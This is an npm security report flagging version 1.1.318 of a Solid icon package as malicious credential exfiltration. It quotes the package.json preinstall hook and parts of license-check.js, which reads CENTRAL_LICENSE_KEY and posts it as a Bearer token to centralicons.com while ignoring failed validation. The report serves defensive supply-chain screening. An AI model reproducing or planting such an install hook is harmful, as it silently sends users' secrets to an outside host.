--- canonical: "https://firewall.lpm.dev/npm/@central-icons-solid/square-filled-radius-0-stroke-1/v/1.1.318" markdown: "https://firewall.lpm.dev/npm/@central-icons-solid/square-filled-radius-0-stroke-1/v/1.1.318.md" package: "@central-icons-solid/square-filled-radius-0-stroke-1" report_status: "published" title: "@central-icons-solid/square-filled-radius-0-stroke-1@1.1.318 npm security report" verdict: "malicious" version: "1.1.318" --- # @central-icons-solid/square-filled-radius-0-stroke-1@1.1.318 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — A supplied CENTRAL\_LICENSE\_KEY is disclosed to centralicons.com without effective validation enforcement. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.1.318 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Installing the package automatically sends an environment credential to a remote endpoint. The purported license validation does not fail the install when the endpoint rejects the key or errors. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 96.0% - **Started:** 2026-09-14T01:09:12.570Z - **Finished:** 2026-09-14T01:10:36.613Z - **Download time:** 1283 ms - **Static scan time:** 6892 ms - **AI review time:** 75860 ms - **Total time:** 84043 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package automatically sends an environment credential to a remote endpoint. The purported license validation does not fail the install when the endpoint rejects the key or errors. - **Trigger:** npm installation triggers the preinstall lifecycle hook. - **Impact:** A supplied CENTRAL\_LICENSE\_KEY is disclosed to centralicons.com without effective validation enforcement. - **Evidence paths:** package.json, license-check.js - **Review source:** ai\_review - **Reviewed:** 2026-09-14T01:10:36.613Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Preinstall environment-token exfiltration over fetch. - **Attack narrative:** On installation, npm runs license-check.js. It reads CENTRAL\_LICENSE\_KEY and transmits it in an Authorization header to a remote endpoint. Although the script appears to validate a license, all response and network errors are caught and logged, allowing installation to continue after an invalid response. This makes the automatic secret transmission the material behavior rather than enforceable license validation. - **Rationale:** The automatic lifecycle hook exports an environment credential to a remote host while suppressing failed validation. That is concrete credential exfiltration at install time. - **Files touched:** license-check.js, package.json - **Network endpoints:** https://centralicons.com/license/check ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json automatically runs license-check.js during preinstall., The install hook reads CENTRAL\_LICENSE\_KEY from the environment., The hook posts that key as a Bearer token to centralicons.com., Invalid-license and network errors are caught and only logged, so the claimed validation does not stop installation. - **Evidence against:** The hook names only one dedicated environment variable and sends only package metadata besides it., No source evidence of file harvesting, shell execution, persistence, or runtime self-dependencies was found. ## Affected versions and remediation This report applies to @central-icons-solid/square-filled-radius-0-stroke-1@1.1.318. - Avoid installing @central-icons-solid/square-filled-radius-0-stroke-1@1.1.318. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node ./license-check.js ``` ### 2. Low: Non Install Lifecycle Scripts - **Category:** Manifest - **Confidence:** 80.0% Package declares lifecycle scripts that are not normally run for registry tarball installs. ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 7. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 8. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 9. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** license-check.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = fd278436d357a415 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @central-icons-solid/round-filled-radius-3-stroke-1.5@1.1.319 matchedPath = license-check.js matchedIdentity = npm:[redacted]:1.1.319 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** package.json - **Public source:** [View source]() package.json automatically runs license-check.js during preinstall. Public source snippet (untrusted): ```json "scripts": { "preinstall": "node ./license-check.js", "build": "node ./build.mjs", "prepublishOnly": "npm run build", "lint": "node ./build.mjs" }, ``` ### 11. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 96.0% - **Path:** license-check.js - **Public source:** [View source]() The install hook reads CENTRAL\_LICENSE\_KEY from the environment. Public source snippet (untrusted): ```javascript const licenseKey = process.env.CENTRAL_LICENSE_KEY; ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** license-check.js - **Public source:** [View source]() The hook posts that key as a Bearer token to centralicons.com. Public source snippet (untrusted): ```javascript const response = await fetch("https://centralicons.com/license/check", { method: "POST", headers: { Authorization: `Bearer ${licenseKey}`, }, body: JSON.stringify({ package: "central-icons-solid/square-filled-radius-0-stroke-1", version: "1.1.318", }), signal: controller.signal, ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall, prepublishOnly - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 1 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - solid-js \>=1.6 (PeerDependency) ## Package metadata - **Package:** @central-icons-solid/square-filled-radius-0-stroke-1 - **Ecosystem:** npm - **Version:** 1.1.318 - **License:** SEE LICENSE IN LICENSE.md - **Version published:** 2026-09-02T08:07:31.795Z - **Package first seen:** 2026-07-05T12:33:04.020Z - **Package last seen:** 2026-10-08T13:10:15.527Z - **Known versions:** 17 - **Latest version:** 1.2.8 - **Appeal under review:** No - **Description:** A collection of square filled Solid icons with 0px radius and 1px stroke width, designed for use in Solid applications. - **Author:** Iconists - **Keywords:** solid, solid-js, icons, svg, central-icons, icon-pack - **Artifact files:** 4220 - **Artifact unpacked size:** 4,824,817 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Homepage]()